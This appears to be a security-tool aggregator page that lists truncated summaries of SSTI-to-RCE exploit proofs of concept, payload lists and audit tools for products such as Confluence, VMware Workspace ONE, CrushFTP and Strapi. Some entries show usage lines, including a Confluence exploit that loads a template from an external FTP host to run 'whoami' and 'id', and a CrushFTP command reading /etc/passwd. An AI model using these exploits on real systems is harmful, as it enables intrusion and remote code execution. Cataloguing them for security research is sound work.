CVE-2026-81910

Concrete CMS 9 through 9.5.2 is vulnerable to Server-Side Template Injection (SSTI) in the Theme Customizer . Style values handled by classes such as ColorStyle, FontFamilyStyle, and ImageStyle are interpolated into server-compiled LESS source without neutralizing LESS syntax. An attacker with th...

ragflow-audit

ragflow-audit RAGFlow 三洞审计工具（CVE-2026-28797 / CVE-2026-24770 / CVE-2025-69286） ssti ：检测并利用 StringTransform / Message 组件的 SSTI - RCE zipslip ：离线检测 zip 条目的路径穿越（Zip Slip） apikey ：从分享链接 beta 推导 API key（uuid1 时间戳枚举） 纯 Python 标准库，无第三方依赖，Python 3.8+ 可直接运行。 用法 root@kitploit: python3 ragflow-audit.py -h...

tplmap

Tplmap This project is no longer maintained. I'm happy to merge new PRs as long they don't break the test suite. Tplmap assists the exploitation of Code Injection and Server-Side Template Injection vulnerabilities with a number of sandbox escape techniques to get access to the underlying operatin...

Blackash-CVE-2025-53833

🚨 CVE-2025-53833 — Crítica ⚠️ SSTI ➜ RCE en LaRecipe Versiones 2.8.1 📌 Descripción general ID de vulnerabilidad : CVE-2025-53833 Componente afectado : LaRecipe un generador de documentación basado en Laravel Versiones afectadas : Todas las versiones anteriores a 2.8.1 Tipo de vulnerabilidad :...

PAYLOAD-LISTS

载荷 载荷列表： SSTI注入载荷 XXE载荷 XSS载荷 服务端请求伪造SSRF SQL注入载荷 开放重定向载荷 NoSQL注入载荷 LDAP注入载荷 文件包含载荷 命令注入载荷 CRLF注入载荷 代码注入载荷 服务端JavaScript注入SSJI载荷 XPATH注入载荷 CSV注入载荷...

CVE-2022-22954-PoC

CVE-2022-22954 PoC VMware Workspace ONE Access 和 Identity Manager 通过 SSTI 实现 RCE。 CVE-2022-22954 - PoC SSTI 用法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file |...

CVE-2024-6386

CVE-2024-6386 - WPML 中通过 Twig SSTI 实现 RCE PoC 基于 Python+Selenium 的 PoC 详细研究（俄语）：CVE-2024-6386 CVSS 基础评分： 9.9 向量： CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 摘要 在 WPML 中，你可以使用特定的 WordPress Shortcodes 来创建宏并渲染 Twig 模板。因此，你可以轻松地从中实现 SSTI。 利用链 SSTI 例如，让我们创建一个 shortcode 来利用 SSTI： root@kitploit:...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access および Identity Manager の SSTI 経由の RCE. CVE-2022-22954 - PoC SSTI 使用方法: root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help このヘルプメッセージを表示して終了 -m SETMODE, --mode SETMODE 利用可能なモード: shodan | file | manual -i IP, --ip ...

CVE-2019-3396_EXP

CVE-2019-3396EXP CVE-2019-3396 confluence SSTI RCE 1、将 cmd.vm 放到你的网站上（必须使用 ftp 或 https，http 不起作用） 2、修改 RCEexp.py，将 filename 改为 'ftp://1.1.1.1/cmd.vm'（python -m pyftpdlib -p 21） 3、python RECexp.py http://test.wikitest.cc:8080 "whoami" $ python RECexp.py http://test.wikitest.cc:8080 "id" uid=0root...

CVE-2022-22954

CVE-2022-22954 PoC VMware Workspace ONE Access 和 Identity Manager 通过 SSTI 实现远程代码执行。 CVE-2022-22954 - PoC SSTI 使用方法： root@kitploit: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file ...

Research_Successful_Errors

Successful Errors: Nuevas Técnicas de Inyección de Código y SSTI !NOTE Esta es la segunda versión del documento técnico basado en los resultados que presenté antes de lanzar SSTImap versión 1.3.1. Las mejoras adicionales se adaptarán a este formato como versión 1.2 de la investigación en una fech...

CVE-2024-4040

CVE-2024-4040 CrushFTP 在 10.7.1 和 11.1.0 之前的所有版本（适用于所有平台）中存在一个服务端模板注入漏洞，该漏洞允许未经认证的远程攻击者读取 VFS 沙箱之外的文件系统上的文件、绕过身份验证获取管理员访问权限，并在服务器上执行远程代码。 本仓库是一个 POC，演示了攻击者如何读取文件系统中的文件。 用法： root@kitploit: python exploit.py -u https://example.com -p /etc/passwd...

SGLang-0.5.9-RCE

SGLang SSTI to RCE PoC — Unsandboxed Jinja2 Chat Template Rendering CVE-2026-5760 Remote Code Execution via Server-Side Template Injection SSTI in SGLang's reranking endpoint. A malicious GGUF model file with a crafted tokenizer.chattemplate achieves arbitrary code execution when loaded into SGLa...

waf-bypass

WAF Bypass Tool WAF Bypass Tool is an open source tool to analyze the security of any WAF for False Positives and False Negatives using predefined and customizable payloads. Check your WAF before an attacker does. WAF Bypass Tool is developed by Nemesida WAF team with the participation of...

CVE-2023-22621-POC

CVE-2023-22621-POC CVE-2023-22621：利用电子邮件模板实现 SSTI 到 RCE，影响 Strapi 版本 return strapi.config.get'plugin.email'; ; const send = async options = return strapi.plugin'email'.provider.sendoptions; ; / fill subject, text and html using lodash template @param object emailOptions - to, from and replyto...

CVE-2020-7931

CVE-2020-7931：Artifactory Pro 中的 SSTI 利用 CVE-2020-7931 在某种程度上是 Artifactory 中的一种故意错误配置漏洞，攻击者可以利用 FreeMarker 模板 发起服务器端模板注入。 该漏洞由 Atredis 的 Ryan Hanson 发现，并于 2019 年底针对所有受影响版本进行了修复。该漏洞仅适用于 Artifactory 的专业版，因为其他版本不具备模板功能。 本仓库包含一个脚本和一个模板。 Python 脚本是一个封装工具，用于自动化上传、部署和执行模板载荷。...

CVE-2022-29078

THM 挑战：SSTI RCE 📜 描述 Node.js 的 ejs（即嵌入式 JavaScript 模板）包 3.1.6 版本在 settingsview optionsoutputFunctionName 中允许服务端模板注入。它被解析为内部选项，并用任意操作系统命令重写 outputFunctionName 选项（该命令在模板编译时执行）。 📚 目录 📜 描述 🛠️ 安装 💁 参考 POC root@kitploit: http://localhost:3000/page?id=2&settingsview...

Grav-CMS-RCE-Authenticated

Grav CMS リモートコード実行 認証済み - CVE-2024-28116 情報 このコードは、このビデオに基づいて改良を加えた、Graver Githubリポジトリからの翻案です。 Grav CMS（1.7.45未満のバージョン）に対するエクスプロイトで、SSTI + RCEの脆弱性（CVE-2024-28116として識別）に基づきます。このスクリプトは基本的に、脆弱性を含むページを作成し、実行し、最後に実行後にそのページを削除します。 使い方 root@kitploit: python3 GravCMSRCE.py -t http://10.10.10.10 -u 'admin...

CraftCMS SEOmatic - Server-Side Template Injection

In the SEOmatic plugin up to 3.4.11 for Craft CMS 3, it is possible for unauthenticated attackers to perform a Server-Side. Template Injection, allowing for remote code execution. id: CVE-2021-41749 info: name: CraftCMS SEOmatic - Server-Side Template Injection author: iamnoooob,ritikchaddha...

LaRecipe < 2.8.1 Remote Code Execution via SSTI

LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection SSTI, which could potentially lead to Remote Code Execution RCE in vulnerable configurations. id: CVE-2025-53833 info:...